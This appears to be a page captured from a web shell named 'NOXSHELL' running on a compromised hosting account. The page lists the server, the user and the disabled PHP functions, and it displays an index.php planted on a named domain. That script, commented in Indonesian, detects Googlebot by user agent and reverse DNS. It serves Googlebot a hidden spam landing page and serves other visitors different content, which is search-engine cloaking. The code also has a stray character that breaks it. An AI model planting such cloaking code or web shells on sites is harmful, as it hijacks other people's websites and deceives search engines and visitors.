NOXSHELL
Server: LiteSpeed
System: Linux br-asc-web1432.main-hosting.eu 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
User: u728655182 (728655182)
PHP: 8.1.33
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: /home/u728655182/domains/chasquisrl.com.ar/public_html/abejas/index.php
<?php

$userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$remoteIp  = $_SERVER['REMOTE_ADDR'] ?? '';

function isGoogleBot($ip, $ua) {
    // Step 1: cek User-Agent
    if (!preg_match('/googlebot|adsbot-google|mediapartners-google|google-inspectiontool/', $ua)) {
        return false;
    }

    // Step 2: reverse DNS lookup
    $hostname = gethostbyaddr($ip);
    if (!$hostname) {
        return false;
    }

    // Step 3: validasi domain google
    if (preg_match('/\.googlebot\.com$|\.google\.com$/i', $hostname)) {-
        $resolvedIp = gethostbyname($hostname);
        if ($resolvedIp === $ip) {
            return true;
        }
    }

    return false;
}

$isGoogleBot = isGoogleBot($remoteIp, $userAgent);

// Kalau Googlebot → load page untuk Google
if ($isGoogleBot) {
    include __DIR__ . '/lpsquirls.html';
    exit;
}

// Selain itu → load konten asli
include __DIR__ . '/home.txt';
exit;
?>